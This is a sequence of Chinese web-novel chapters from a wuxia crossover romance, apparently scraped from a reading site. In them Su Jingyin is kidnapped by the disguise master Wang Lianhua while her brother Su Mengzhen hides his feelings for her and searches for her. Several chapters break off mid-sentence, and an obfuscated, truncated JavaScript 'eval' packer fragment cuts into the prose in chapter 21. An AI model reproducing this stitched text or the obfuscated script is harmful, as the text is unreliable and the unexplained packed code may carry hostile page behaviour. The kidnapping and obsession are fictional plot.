“不喜欢石林洞府?也是,大沙漠太热了,气候又干燥,对女孩子皮肤可不好。” 石观音兀自说着,“音音喜欢哪里?小姨去给你拿下来。” 苏镜音:“……”她还能说什么?? 只能说真不愧是大魔头啊,把搞人家地盘,说得就像是买根小葱回来拌豆腐那么简单。 “我跟小姨走了,那哥哥呢?” 听石观音那意思,像是只想带她一个人走,苏镜音疑惑道,“小姨为什么不带我哥哥?” 石观音唇畔的笑意蓦然转凉,“他不是你哥哥,他是……” 忽地,寒凉的空气中,似乎隐隐有内力波动而来。 “前辈大驾光临,梦枕有失远迎。” 骤然间,屋门被一阵凛冽刀气猛地推开。 苏梦枕眸光沉沉,身披月色踏入屋来。 苏镜音想也不想就跑了过去。 自家兄长早上才吐了好几次血,今日面色本就比以往还要白些,方才那短短一句话里,显然夹带了内力,此时他的脸色虽不曾有所变化,但苏镜音可不要太了解他,他向来特别能装,在外人面前,大多都会装得不像个重病之人。 她眼瞳中的担忧一览无余。 星子黯淡,洒落愁绪。 苏梦枕安抚一笑,拍了拍她攥在他腕上的手。 他轻咳一声,转睫望向石观音,眸中有寒焰隐跃,“前辈今夜前来,不知有何指教?” “指教倒是没有。” 石观音已恢复了平常那般娇媚模样,素手拂青丝,嗓音甜蜜得能挤出水来,“我喜欢你这妹妹,不知苏公子可否割爱?” 她不动声色地打量着苏梦枕。 这面带病容的青年人,看起来委实不像一个江湖势力的总瓢把子,反倒更像是个世家出身的温雅公子。 难怪那些江湖中人,总称他为苏公子。 苏公子依旧姿态温雅,但语声中有着年轻人掩盖不住的傲气,“前辈说笑了,你既说了音音是我妹妹,妹妹哪有拱手让人的道理?”< 18.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 石观音带着满心的欢喜温柔,匆匆而归。 不多时,又带着满身杀气自君山匆匆离去。 只留下无花与南宫灵兄弟二人,面面相觑。 “母亲她就这么一人赶去山西关中,没问题吗?”南宫灵担心的问。 “你未免顾虑太多。” 无花低头饮了一口茶,垂下的眸中情绪难辨,他哧笑道,“她虽有时会发疯,但你也别忘了,她的武功可以说是深不可测,天下间难有匹敌。” 若非如此,他也不用在她面前谨小慎微,掩藏心思那么多年。 无花师从天峰大师,七岁过后便是在南少林中长大,几年后的一日,忽见销声匿迹数年的美貌女人出现在他面前,那时他虽年少,却也在那经年的颠沛流离中,慢慢学会了隐藏恨意,一声满含孺慕之情的母亲唤出口,那风姿娇艳的女人却露出了古怪至极的神色。 再后来,他辞别师傅,出外游历,一路游到了沙漠石林。 他在石林洞府里住了整整大半年,在此期间,他看到了无数次发疯的石观音。 她疯了一样的抓画师回来,又疯了一样的学画什么美人图,相比起他幼时印象中,那个冷漠自私的女人,她好像变得不大一样了。 她偶尔会自言自语,有时满含爱意地画着画,画到一半,又会突然眼神阴鹜的将画中美人撕得粉碎,口中疯癫念道,“这世上,没人能比我美。” 有时又会疯得更厉害些,自己与自己打起架来,左右手相互对招拆招,无一招不是杀招,气恨得像是想要当场杀了自己。 也因此,在无花离去之前,那副美人图一直没能完成。 如此春去秋来又过了两年,无花再度踏入沙漠石林时,见到的已是稍微没那么疯癫的石观音。 她发疯的频率下降了许多,先前是每天少说也要发一次疯,现下是隔上好几天才会疯那么一次,一次时间也很短。 那副美人图自然也完成了。 不止完成了,她近似炫耀般,打开了那个堆满金银珠宝的秘室,青纱幔后的宝石镜子,原本是石观音的至爱之物,如今却已落了厚厚一层尘埃。 但彼时的无花,早已分不出半点心思,去思忖石观音的古怪之处。 什么报复石观音,什么一统武林,他统统都忘了。 眼中只余挂满秘室的美人图。 或坐或站,或颦或笑。 美貌不似凡尘中人。 满室的珠宝辉光,哪堪及得上,一轮明月照人寒。 只此一眼,佛子几乎堕入了美色地狱。 但下一刻,石观音眼底的独占欲,明锐锋利得仿佛要将他整个人灼烧洞穿。 无花当即清醒了过来。 石观音这些年里,画了太多副画,她记得自己画的每一幅画,但她无法确定,在她发疯时,另一个石观音又撕碎了哪副。 因而五花手中的那幅画,石观音至今不知。 无花也根本不敢让她知道。 她不会允许,画着她心心念念的姐姐的画卷,被他私藏。 更不会允许,他对音音动了妄念。 好在,无花总是很能装。 出尘佛子,神姿高彻,不染外物。 他看向她的目光里,从来没有如楚留香等人一样的爱慕之意,几乎瞒过了所有人,包括他那个疯癫的母亲。 只除了他的心声垃圾桶弟弟,以及那个城府极深,他怎么都看不透的苏梦枕。 让人看不透的苏梦枕,此时此刻,已是不敢再看她一眼,身形狼狈,近乎于落荒而逃。 夜色凉如水,直至离了檐下,他才后知后觉,原是不知何时落了雨。 淅淅沥沥,大珠小珠,如碎玉,落飞花。 红枫沾了满地泥泞,脚步落在其上,摧毁一腔心头热意 19.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 苏镜音总觉得,最近她家兄长有些奇怪。 离开君山后,坐船走长江水道的这些天,她连着摸了好久的鱼,碰都没碰一次红袖刀,向来嘴下不留情的兄长竟也什么都没说。 刚开始她还偷懒偷到飞起,但连着几日下来,她就渐渐察觉到不对劲了,她那个不近人情的哥哥,怎么可能会突然放任她咸鱼这么久? 这是五年来从没有过的事。 不止如此,他好像咳得更加厉害了。 离开君山那日,楚留香似乎身怀要事,早已离去,只剩陆小凤揪着显然被强拉硬拽而来,满身凉飕飕冒冷气的西门吹雪,说是花家车马已跟着花满楼回了江南,他二人也要赶往京城,想要蹭个顺风船一路同行。 换作从前苏梦枕根本不会拒绝,但那日他却咳得撕心裂肺,边咳边说着“有些私事要处理,不便同路”,打发走了失落的小凤凰,以及俨然松了一口气的西门吹雪。 苏镜音看得出来,他那日的咳嗽是真的严重,连着吃了几次丸药都没压住咳意,她偷偷拉住师无愧问怎么回事,在某位仁兄的眼神威压下,师无愧三缄其口,她怎么都问不出来。 虽然问不出来,但苏镜音还是隐隐闻到了一丝丝酒味,尽管气味很淡很淡。 树大夫说过,她兄长的病太重,平日尽量不要喝酒为好。 可她问了,师无愧却说是他喝的。 苏镜音蹙着眉,眼里尽是怀疑,走近前去坐到自家兄长身旁的塌上,想要靠近去闻闻,却见他宛若避如蛇蝎一般,猝然站了起来,急急退开几步。 虽然后来被他敷衍了过去,但苏镜音总有种隐约的直觉,他好像在躲着她。 说是躲着她,可他这些日子以来,除了偶尔怪怪的,其余时候大多神态自若,面色无虞,且还记得她先前说过的,想要一登黄鹤楼的事。 金风细雨楼的商船停在了临近黄鹤楼的渡口。 苏镜音又搞不懂了,她严重怀疑,他是不是正在经历,每个月都有的那几天? 搞不懂便算了,兴许再过几天就恢复正常了也说不定……想不通的事,苏镜音心大,从来不会拿来纠结自己。 她兴致勃勃的,拉着苏梦枕就要下船去。 苏梦枕垂下眸子,看向那只拉着他衣袖的手,仿佛很怕他会拂开一般,攥得紧紧的,牢牢的。 他知道,他近来慌乱之下,种种下意识逃避的表现,还是让她隐隐不安了。 可自那夜起,意外察觉到自己对她隐藏的心思之后,苏梦枕这些日子以来,对她根本不敢过于亲近。 他已无法再像从前那样,手把手的教她练刀,心无杂念的与她靠近。 他害怕情难自已,害怕她发现他不堪的心思,更害怕哪日对上她的眼神,会看到里面写满了抗拒与嫌恶。 明明想要靠近,偏偏又望而却步。 正如此时此刻,心底的声音告诉他,他是想要陪着她一道去的,但事到临头,他却再度迟疑了。 苏镜音转过身来,凝眸定定看着他。 像是要透过眼睛,径直看到他的心底里去。 他看见她澄澈剔透的眼瞳中,映漾着小小的、愁肠百转的苏梦枕。 心似双丝网,中有千千结。 苏梦枕掩下了眸中情意。 但两人却就这么僵持住了。 终究还是心藏明月的苏梦枕先行服了软,他叹了口气,正要点头答应时,却被一声高亢急促的“楼主”给打断了。 是莫北神。 当下本该在山西关中清剿青衣楼的莫北神,此时为何突然出现在此地? 莫北神的神情肃然,显然有急事要禀。 缟杏色的袖袂宛若流水,缓缓从指缝中滑落。 苏镜音放开了她的手。 她怏怏不乐的,一个人下了船。 虽然不再戴着帷帽遮掩容色,但有凶恶威猛的师无愧与茶花二人跟在身后,还有或明或暗的楼中弟子,全都一道派出去跟着保护她,江湖上基本没多少人能威胁到她,只要不遇到什么绝顶高手,她的安全确保无虞。 苏梦枕倾身立在船头,扶栏远望。 他看着她纤弱的身影慢慢远去,逐渐变得模糊不清。 直至最后,拐过街角,消失不见。 莫北神的目光也同样跟随着她远去。 与长相凶恶、身材健壮的师无愧二人不同,莫北神看起来是个相貌英俊,偶尔还有点笨拙的年轻人。 但年纪轻轻就能升任金风细雨楼五大神煞之一,莫北神自然不是什么真正笨拙的人物。 如今江湖上总说的「六成雷,四万苏」,雷指的自然是金风细雨楼的老对家,六分半堂。 六分半堂现任总堂主是雷损,其人如名,是个老阴比,手段颇为阴损。 三年前,莫北神才刚升任五大神煞之一时,曾被眼光毒辣的雷损看中,花了大量心力收买笼络,打算充当六分半堂在金风细雨楼中的高级卧底。 雷损开出的条件,条条动人心,彼时的莫北神自然不可避免的动摇了。 只不过那时恰好碰上苏镜音十五岁生辰的及笄礼,从前总是在外出任务,只见过自家大小姐幼时模样的莫北神,惊鸿一面,心中印下一抹倩影,自此对风雨楼忠心不二,转头就把雷损给卖了个底朝天。 于是他就此成了个谍中谍。 雷损至今还以为莫北神是他的人。 话说回来,莫北神一路快马加鞭,日夜兼程赶来,自是有重要消息要禀报。 青衣楼易主了。 苏梦枕此时已进了船舱之中,寒凉江风被隔绝在外,他刚倒了杯热茶,茶水正待入口,就听到了这个足以震惊江湖的消息。 青衣一百零八楼,每楼一百零八人。 这是整个江湖上,最为严密庞大的杀手组织。 这样一个杀手组织,竟然无声无息的就易了主。 当日楚留香来寻他,正是想要借用金风细雨楼中,经由「童叟无欺」杨无邪之手,情报网络遍布天下的白楼查到的资料。 青衣楼幕后之人藏得颇深,杨无邪早前搜集资料,原本有过几个怀疑对象,但经过一系列缜密的分析排查过后,最后只余一人。 霍休。 霍休与独孤一鹤,以及死去的阎铁珊一样,都是金鹏王朝曾经的臣属,生来爱财如命,敛财成性。 两个浪子同样爱交朋友,同样好友遍天下。 霍休是陆小凤的朋友,也是楚留香的朋友。 楚留香提前离开洞庭君山,也是因为好不容易才查到的霍天青,在他们瓮中捉鳖当夜,却不知被何人所杀,尸体扔在路边,第二日一大早才被丐帮之人发现。 如今有勾引神水宫弟子嫌疑,诱使那女弟子为其偷盗天一神水的霍天青已死,死无对证,楚留香身上盗窃天一神水的罪名还未洗清,若拖到水母阴姬亲自出山,下手必定不会留情,他须得赶去关中,找霍休问上一个清楚明白。 可惜…… 苏梦枕仰首饮下热茶,暖融的茶水沿着喉管徐徐流入腹中,瞬间 20.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 苏镜音醒来的时候,是在客栈的房间里。 方才幽幽转醒,脑袋还没来得及收拢神志,眼前就先咻的一下,冒出了一张绝世美人脸。 苏镜音瞬间坐起身来,一句脏话几乎顶上了喉咙口。 但电光火石间,忽然忆起前因,想起自己好像是个被掳来的人质。 苏镜音:“……”好的,人质没有人权。 面对眼前顶着她脸的红衣人,苏镜音铁骨铮铮的,咽下了即将出口的祝福。 妈哒,自己有脸,却凑不要脸。 难道顶着她的脸就那么好玩吗? 红衣美人倚床浅笑,眼波流转,窗外月光自她身后洒落,让原本看上去楚楚动人的风姿,淋上了丝丝诡异之感,宛如那夜半三更之时,前来勾魂摄魄的绝色媚鬼。 尽管是自己看惯了的脸,但红衣美人倾身而下时,苏镜音呼吸还是不由滞了一瞬。 下一瞬,那好似水嫩青葱的纤纤十指,也跟着温温柔柔地探来。 她感觉到对方的指尖,在她脸上轻轻划过,一下一下,缠绵又缱绻,犹如情人之间的爱抚,激起了阵阵颤栗。 颤栗之下,是抖落一身的鸡皮疙瘩。 苏镜音脸都麻了:“……” 你见过自己勾引自己的吗?? 她能忍住不炸毛,已经是对她这张漂亮脸蛋的最大尊重了。 仿若揽镜自照一般,此时两张几乎毫无差别的绝色美人面,已然近在咫尺,呼吸相闻。 对方是个女装大佬,爱女装,同时还是个大佬,他的气息轻得几不可闻,显然是个货真价实的武林高手。 苏镜音醒来后,第一时间感受了下,全身软绵绵的,手脚也微微发麻,没什么力气。 她想着对方好像心思挺谨慎的,还把她的穴道给点了,封住了武功。 不过就算没封住武功,她的那点微末功夫,估计也打不过这位女装大佬。 既然自救这条路走不通,那就只能尽量配合对方行事,争取苟住小命先,坐等她哥哥派人来救她。 但现在…… 红衣美人那不堪一握的纤纤楚腰,越弯越低,俨然一副要顶着她的脸亲上来的架势。 苏镜音一脸惊恐,不、不是吧?这位玩的这么花?? 虽然不知道这是不是眼前这位美人的亿点点小癖好,但…… 苏镜音不理解,也不想尊重。 她咻地一下窜出危险地带,兔子一样蹦下了床。 身后随即爆出一连串大笑。 用的还是她的声音。 真是太他妈糟心了!! 苏镜音咕咚咕咚灌下一大杯冷茶,终于迫使自己冷静了下来。 她一言难尽地看着笑到抽搐的红衣美人:“……” 不是,大哥,你想笑就笑,这她没意见,但能不能别顶着她的脸和声音?? 她的美人形象虽然不多,但地上捡一捡,还是能捡到那么一丢丢的。 红衣美人本来都快止住笑了,但在不经意瞟了她一眼后,顿了一瞬,接着又发出了一阵更大的爆笑声。 苏镜音:“……”敲?? 这人是不是脑壳有病病哦?? 王怜花笑得直打跌,眼泪都快飙出来了。 无它。 小姑娘的眼神实在太好懂。 明明面色冷冷淡淡的,可那双雪亮的秋瞳里,俨然写满了八百字的祝福小作文,满得都快溢出来。 好像什么都没说,但又好像什么都说了。 王怜花有点高兴,不,应该不止有点,而是很高兴。 美人绝世,难觅芳踪。 绝色美人或许还有很多,绝世的美人却只此一个。 他将这美人掳来,本只是因为黄鹤楼外惊鸿一瞥,冲动之下的举动。 一份无暇的、极致的美色摆在眼前,这对于一个向来在意完美的人来说,诚然是个抗拒不了的诱惑。 冲动就意味着这事他压根没考虑太多,先前也不知道美人是金风细雨楼苏梦枕的妹妹。 那时众里嫣然,回眸一顾,刹那间人间颜色,皆如尘土。 他的眼里就什么都装不下了。 尽管美人瞧上去有些冷清,但王怜花原本想着,这样的倾城容光,就算是个木头美人或冰美人,放在家里当个美貌摆件,日日欣赏也是不错的。 他方才便是站在床边欣赏了两个时辰有余。 只是此时自她转醒,尽管话都未说一句,相处时间也寥寥无几,但这美人的真实性子,显然并不如表现出来的那般冷淡。 拂去表面冰霜,眼底尽是明媚春光。 真是个意外之喜,王怜花想。 成了别人意外之喜的苏镜音,只觉这是个意外事故,何喜之有。 绑匪好像脑筋有点断线的样子,而且他笑着笑着,可能是笑呛了,还颠颠的边咳边跑过来,兀自倒了杯茶灌下去,茶水估摸着还在喉咙口呢,就奇怪地问她,“你怎么都不说话?莫不成是个哑巴?” 苏镜音:“……” 莫名其妙就被掳来,泥人也是有三分脾气的,更何况苏镜音不是泥人,她刚醒来时,也是很生气的。 但形势比人强,她一气之下,只能气了一下。 王怜花拉开椅子,悠悠然坐到她身旁,以手支颌,笑得风流又动人,“小可爱,你倒是说句话来听听嘛。” 苏镜音:“……”是她不想说吗??还不是因为她哥不让说脏话。 但这个要求,她也不是不能满足。 毕竟现在这个情况,绑匪是老大,作为人质的苏镜音,觉得她还是有必要征求下对方意见的。 她微微凑近了些,真诚发问,“……能说脏话吗?” 绑匪王老大挑眉睨她,一脸似笑非笑,“你说呢?” 苏镜音一下又蔫回去了,“……那我无话可说。” 对于被掳来一事,她想说的话,只有哔哔哔哔哔。 她这话说得王怜花一愣。 但下一刻,又是一阵拍桌 21.美人刀 苏镜音只猜对了一半。 在她失踪的两个多时辰里,金风细雨楼的人马,连同刚赶来的莫北神等人,的确一个不留的全都派出去找寻自家大小姐。 但,她终究不够了解苏梦枕。 人一旦遇事,往往容易产生紧张的情绪,做事就会缺乏条理,混乱无序,最后只能导致事态走向更为严重的地步。 苏梦枕一向明白这个道理,他知道紧张不能解决任何问题。 从来没有人见过苏梦枕紧张。 在金风细雨楼的人眼里,他们的公子,永远都是冷静的,沉着的。 每每事态越是紧迫,他却总是反而更为冷静。 一如此时。 他如同一枝绽放于黑夜之中的墨梅,孑然独立于街道深处,凌霜傲雪,清冷而孤寂。 如若忽略他绷紧的下颌线,他的神色简直冷静到可怕。 长江沿岸的州府,自来都是三教九流鱼龙混杂之地,当然,也包括这座黄鹤楼所在的鄂州城。 来来往往的江湖人士多不胜数,要找出一个被刻意掳走掩藏踪迹的人,与沙里淘金无甚区别。 随着时间一点点过去,随着一次又一次,收到一无所获的消息,那双幽邃墨瞳里的寒焰,也越来越沉,越来越冷。 自失去她踪迹的那一刻起,苏梦枕只觉心口仿佛在骤然之间,被无数根牛毛细针不停地刺着,细细密密的疼痛接踵而来,不断蔓延至全身,乃至喉管,乃至头皮。 他的呼吸异常紊乱,咳嗽声不绝于耳,在这样冷寂又忙乱的夜色中,显得突兀又沉重。 他的脑海中,不停循环着她临下船前,那失落而寒凉的目光。 悔意与不安时时刻刻萦绕心头,光是忍耐这些,就好像已耗尽了他所有的气力。 但苏梦枕必须强迫自己冷静下来。 若是连他都乱了,那他或许,便真要就此失去他的音音了。 苏梦枕手中不住摩挲着红袖刀。 红袖刀的刀刃渐染杀意,寒气逼人,他的指尖覆在其上,只觉异常冰冷。 深深浸入骨髓的冷。 在风雨楼众人的重重保护之下,还能轻易将人掳走,这就意味着师无愧等人决不是对方的对手。 那人必是如今江湖上顶尖高手的其中一个。 对方,究竟会是哪一个? 成为人质的苏镜音,压根就不想知道对方是哪一个,可禁不住对面这人,是个不按套路出牌的神金病。 “我叫王怜花,春风若有怜花意的怜花。” 捂住耳朵的手再一次被扒拉下来,苏镜音简直绝望了,她觉得自己很快就要被撕票了,于是她干脆破罐子破摔,愤愤指责他,“我都说了我不想知道,你干嘛非得让我听啊?!” 岂料王怜花一听这话,却是宛若娇羞少女般,颊上瞬间浮起两抹红云,看得苏镜音眼皮子直跳。 只见他含羞带怯挽起云袖,半遮菱唇半掩面,娇娇柔柔地说道,“未来夫君的名字,哪能不告知你呢?” 苏镜音懵了,未来夫君?谁?? 红衣美人更羞怯了,好似欲语还休,眼波流转地嗔了她一记,瞳中都泛起了盈盈水光,惹人怜惜极了。 “……” 敲!这厮又用她的脸搞事情! 苏镜音脸都绿了,火速离他三丈远。 他喵的就不能换张脸吗? 他不要脸她还要啊!! 如果可以,她倒是想借根王母娘娘的金钗,给他俩中间划条银河,可惜这个客栈的屋子,拢共只有这么点大。 红衣美人一步一摇,袅袅婷婷地走来。 苏镜音就算再不想,也得承认这张脸放在他身上,才真正完美表现出了它祸国殃民的美色。 她要是个昏君,保不齐连人带国都沦陷了。 可惜她不是,她只是个弱小可怜又无助的人质。 美人香风扑面而来,苏镜音整个人已经缩到了墙角,退无可退。 夜色朦胧,月出皎兮,烛火氤氲出了幽幽柔光,正当是灯月之下看美人,果真柳如眉,云似发,鲛绡雾縠笼香雪。 只是美人的眉间,总是隐含三分愁色。 尽管只有三分,也让王怜花颇为无奈。 他越发靠近,双臂一撑,将人困在墙角,看似强势,实则放低了语气,“真就这么怕我?” 苏镜音:“……”不是,大哥,你搞搞清楚,你掳我来的,我不怕你怕谁啊? 而且他这语气,又是想玩什么把戏? 苏镜音顿了顿,迟疑着问道,“我们以前应该不认识的,我没得罪过你吧?你是不是认错人了?” 王怜花似乎很意外这个问题,但他还是否认道,“的确不认识,怎么这么问?” 苏镜音:“……”因为你刚才那语气,搞得好像我渣了你似的。 王怜花眸光深深,盯着她看了好一会,忽然像是明白了什么,哧笑了一声,亲昵地捏了捏她的脸,说道,“放心吧小可爱,我不会杀了你的。” “真的?!”苏镜音蓦地抬眸看向他。 “我王怜花亲口说的话,自然算数。” 接着,他又意有所指的说道,“只要你乖乖的,我也不会对你做别的。” 苏镜音没注意听他后面所说的话,她只知道她的小命苟住了,刚松了一口气,忽然想起她好像还被封了穴位,全身软绵绵的,不太好受,于是她又得寸进尺的问道,“那我不跑,你能不能帮我把穴道解开?” 王怜花难得怔住了,他说,“我并未点你穴道。” “啊?”这回换苏镜音懵逼了,“你没封我穴道,那我怎么会全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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接着以迅雷不及掩耳之势,迅速改容换面,眨眼间,两人的容貌就变了个彻底。 这下真被点住穴道的苏镜音:“……” 敲!失策了! 他换脸的速度,也太特喵快了! 王怜花对着她,缓缓勾起一抹无辜的笑来。 浮尘慢慢湮落,屋中的一切很快显于人前。 隔壁的房间内,仿佛也刚打过一场,地上躺着不少死人,唯一还站着的活人,只剩四个。 一个是冷硬如铁的高大汉子。 一个是杏靥桃腮的红衣姑娘。 一个是华衣锦服的青年书生。 还有一个,苏镜音认得他。 她白日里曾见过的,那个有着一双明澈眼睛的俊秀男孩子。 22.美人刀 「自在门」有个不成文的规例。 授予弟子的武功绝技,自身不可再用,否则一旦受伤,必遭功法反噬。 王小石师承自在门「天衣居士」许笑一。 他自小在白须园中长大,对他而言,许笑一如师如父,许笑一也同样待他如亲子,毫不藏私,授予他「挽留剑」,教予他小相思刀与小销魂剑。 许笑一先天经脉薄弱,后来还因任督二脉受伤,导致功力大打折扣,虽然精通机关阵法与奇门遁甲,但若教予了王小石那两门功夫,他不可再用,身上就只剩下一个「破气神功」了。 一旦王小石离开白须园外出,许笑一若是遇上高手,恐无自保之力。 王小石自然明白此事,他也争气,他在小相思刀和小销魂剑的基础上,自行练就了隔空相思刀与凌空销魂剑。 这样一来,许笑一也多了两门功夫防身,王小石直到二十三岁这年,才终于能安心外出闯荡江湖。 他怀带一身绝学,自然雄心壮志,一路向北,直奔汴京城,自觉以自己的本事,定能在京城一展身手。 若非因为久慕黄鹤楼之名,王小石今日也不会借道停留于鄂州,但正因如此,他也才会在此遇上,那位美得难以描绘,只让他一眼,就禁不住动心的梦中仙子。 说是梦中却也不对,毕竟他就连做梦,都不敢梦见那样美的一个姑娘。 王小石是个多情的少年,他自七岁开始恋爱,至今已经失恋了十五次,算下来,平均每年都要失恋一次。 这是他的第十六次恋爱。 也是开始得最为突然的一次恋爱。 毕竟他只匆匆见了一面,姑娘她容光太盛,忽略后面那两个煞风景的糙汉子,她站在那里,简直美得不似凡尘中人,他当时不敢上前,也连开口问句姑娘名字的勇气都没有。 等到他从恍惚中抽离,终于鼓起了勇气,一转头却发现,姑娘一行人好像早就走了。 而后他又无意中察觉到,这个跑马卖解的班子,里头那些或哑或瞎,或瘸或不似人形的可怜人,并不是天生残疾,而是后天人为所造成的。 采捕生人,折割其体,是为采生折割。 王小石是个多情且心软的人,打小见着杀鱼都会心生不忍,就连他师父也说,他这样的人,是不适合入江湖,也不适合学剑的。 一入江湖风波起,拿起剑就是要杀人,你不杀人,人就要杀你。 可他是个武学奇才,他身怀仁心,所练就的剑法,亦是仁剑。 这档子灭绝人性的事,他若是没遇见也就罢了,如今遇见,便也不能不管。 他一路跟踪这个卖解班子,记下客栈,到夜间时入柜躲藏,听几人说起这摊子采生折割的买卖,奉的是六分半堂的命令。 很快又来了三人,是六分半堂的九堂主霍董与十二堂主赵铁冷,最后一个是个锦衣书生,王小石在在市集上与他有过一面之缘。 最开始书生仰首望天,负手间一身傲气,后来他回首看美人,傲气顷刻间打碎殆尽,那双俊逸秀致的眼睛里,有惊艳之色,也有志在求之的心思。 对于那样的倾城绝色,没有本事的人,只能仰望,是不敢生出任何心思的,因为护不住,也配不起。 王小石生出心思,却因片刻的恍惚而错过,那俊逸书生也生出心思,但他与人有约,身怀要事,无法上前直面美人。 宁鸣而死,不默而生。 有了前程,方得美人。 他此行的要事,便是配合赵铁冷,拿下霍董与卖解班子一干人等。 锦衣书生一进门,就与柜中的王小石对上了视线,王小石知道,书生这是发现了他,但他却没有出言点破。 后来也证明了这是个好助力,尽管中途意外出现一个女扮男装的姑娘,差点误事,但也在几人的配合之下,一举端掉了整个卖解班子,那位霍九堂主,也死在了赵铁冷的一双铁拳之下。 那锦衣书生自称白愁飞,而那女扮男装的姑娘使得一手星星刀法,名唤温柔,似是金风细雨楼苏梦枕的小师妹,小寒山派的「小寒山燕」。 正当王小石诈出了赵铁冷的真正身份,实为五大神煞中的薛西神,是金风细雨楼安插在六分半堂的卧底时,隔壁忽然传来几许响动。 紧接着,砰的一声,墙倒砖裂,露出两个娇美少女的模样来。 一冷清,一娇媚,虽不及温柔美貌,却皆有一种难以言喻的动人气质。 只是那紫衣姑娘好似身患某种顽疾,面色略有苍白,须得她身旁的红裙姑娘搂住腰身,倚靠其上,才能勉强站立。 苏镜音此时想挠死王怜花的心都有了。 他点了她哑穴后,又不知道点了其它什么穴位,三两下间,她就全身瘫软,连站立的气力都没有了。 客栈的房间隔音不算好,那会儿苏镜音靠在墙角时,依稀听见隔壁提起金风细雨楼、苏公子等字眼,因此才会在王怜花明里暗里的警告之下,仍然孤注一掷砸通了墙。 怎奈王怜花动作贼快,她此时说不了话,什么都做不了,唯一能做的,就是紧紧盯着那有过一面之缘的王小石,寄希望于他能及时发现她的不对劲。 薛西神她是偶然见过几面的,他的卧底身份,风雨楼中只有她兄长与杨无邪知晓,她哥也曾告知过她,但她不确定在这种情况下,他能不能认出她来。 王小石确实也感到奇怪,一来是因为她的眼神,隐约让他觉得有些熟悉,二来,则是总觉好像有什么,在无意间被他给忽略掉了。 但王怜花装得一副楚楚可怜之貌,外加巧舌如簧,几通话里话外皆是示弱,又说起此行是为妹妹治病,一路寻医而至湖北,说得王小石晕晕乎乎的,心生不忍之下,更是难以注意到其它细节。 白愁飞冷眼旁观少顷,眸中闪过一丝不易察觉的微光,他正待多问,却被温柔猝然打断。 温柔出自「老字号温家」,是洛阳王温晚之女。 人都说背靠大树好乘凉,外加她有一张好脸蛋,在小寒山上,除了那位素未谋面,早已艺成下山的大师兄苏梦枕,其他师兄弟,莫不是都对她神魂颠倒,倾心讨好。 外出闯荡后,遇上的江湖人士,只要一听温家与苏梦枕之名,也无一不是对她爱护回让,尽管她总是好心办坏事,无意间闯下什么祸,旁人也不敢为难,就算心里气得直骂娘,嘴里仍是千恩万谢的,将她安然无恙的送出门。 她骄横惯了,也享受众人的追捧惯了,可偏偏今夜里,一个两个的,全都对她无动于衷,只知道看对面那两个长得还没她好看的姑娘,全然没有将她放在眼里。 还有那红裙少女,扶着自家妹妹,眼神还不安分地勾引人,姿态也妖妖娆娆的,一看就不是什么正经人家的姑娘。 特别是,在白愁飞即刻开口前,那红裙姑娘还冲她抛了个挑衅的眼神。 就温柔那暴脾气,哪里还能忍得了。 她骂完这个骂那个,一句见色起意,两句不安好心,越骂越难听,偏偏赵铁冷,也就是薛西神,看在她是自家楼主小师妹的份上,还得尽力回护着她,以防王小石与白愁飞二人,被骂上火了撸袖子揍人。 场面一时各种混乱。 苏镜音:“……”敲哦! 苏镜音动弹不得,只能绝望的看着,对面那二缺姑娘径直跳进王怜花的坑里,冲着对面两人就喷起了火。 她有一句哔哔哔不知道当讲不当讲。 就算想讲 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薛西神压根不知道,在温柔的搅局之下,他刚刚放跑了一个大好的立功机会。 若是再拖上片刻,拖到莫北神等人到来,自能认出自家失踪的大小姐,身上所着的那袭裙衫。 或许是莫北神到来之时,那副气势汹汹的模样像是随时要杀人,尽管听到对方亦是金风细雨楼的人,但温柔再傻,也看得出来对面众人的情绪都很不好,因而此时已是安静如鸡,没敢再叫骂出声。 王小石看到茶花,当即认出他来,是下午跟在那位仙子身后的保镖之一。 与此同时,白愁飞按了按被吵得抽疼的额角,终于长舒了一口气。 薛西神与白愁飞有过合作,因而此时说话间,也未曾避开几人,王小石听了几句,电光火石间,才终于明白自己方才究竟忽略了什么。 直男总是分不清女子衣裙的。 王怜花掳来美人,只觉那张脸实在无瑕,美到极致,那两个多时辰里,他只顾欣赏美貌,苏镜音砸墙的举动又太过突然,也出乎王怜花的意料,紧急之下,他只来得及改换面容,哪还有多余时间,换掉她身上那袭粉紫烟罗裙。 王小石先前并未细思,毕竟对于他这种刚入江湖的年轻人而言,两个柔弱姑娘在表面上,总能令人下意识忽略掉不少东西。 但如今将两件事情那么一结合,细想之下,外加当时那双清凌凌看着他的眼睛,本就令他有些许熟悉之感,此时王小石终于明白,那姑娘正是他今日新鲜出炉的,第十六个恋爱对象。 嗯,暗恋也是恋。 他与白愁飞对上眼神,只一瞬,便互相都明白了对方心中所思。 莫北神等人没搜到人,又匆匆离去,薛西神紧随其后,他既已到了这里,事情办完,自要去拜见楼主。 有钱就是能为所欲为,金风细雨楼的人还在搜查当中,未免夜半出城过于显眼,王怜花并未卸下易容,仍旧扶着“妹妹”,让手下提前斥重金,买下了一座半旧的民宅,顺便还给了大笔封口费。 安顿下来后,看着眼前瘫得生无可恋的小姑娘,王怜花不由笑出了声。 娇娇俏俏的红衣美人趴在床头,一手支着下颌,一手点点她的鼻尖,十分得意地笑道,“小可爱,你有点不乖哦~” 王怜花没给她解穴,苏镜音说不出话,只能有气无力地翻了个白眼。 “先前说的不跑,原来都是骗我的呢。” 说出这句话的时候,他脸上明明笑着,眼里的神色却是难以形容的幽深。 这是一种极其危险的信号。 苏镜音心下顿时一凛。 23.美人刀 王怜花最开始的心思,只是想把美人带回家去,当个漂亮摆件。 但眼下大半宿过去,他的想法也逐渐改变了。 她被他点了穴,安安静静的,乖乖巧巧的,尽管那双明眸显而易见,或许正在心里偷偷骂了他无数遍,但不知为何,他是快乐的。 至少这一刻,她的眼里,她的心里,只有他一人。 他知道她不会逃,不会离开,就在这皎洁无瑕的白绡帐下,望之若月中聚雪。 他是真想要她的。 她的人,她的心,他都想要。 白日里惊鸿一眼,窥见无价珍宝,原也只欲私藏,却没想到,仅仅半日时间,他沦陷得比什么都要快。 可她想要逃,她不想留在他身边。 外面有太多人,勾去了她的注意力。 她口中心心念念的,只有她哥哥。 那是她的家人,这便罢了。 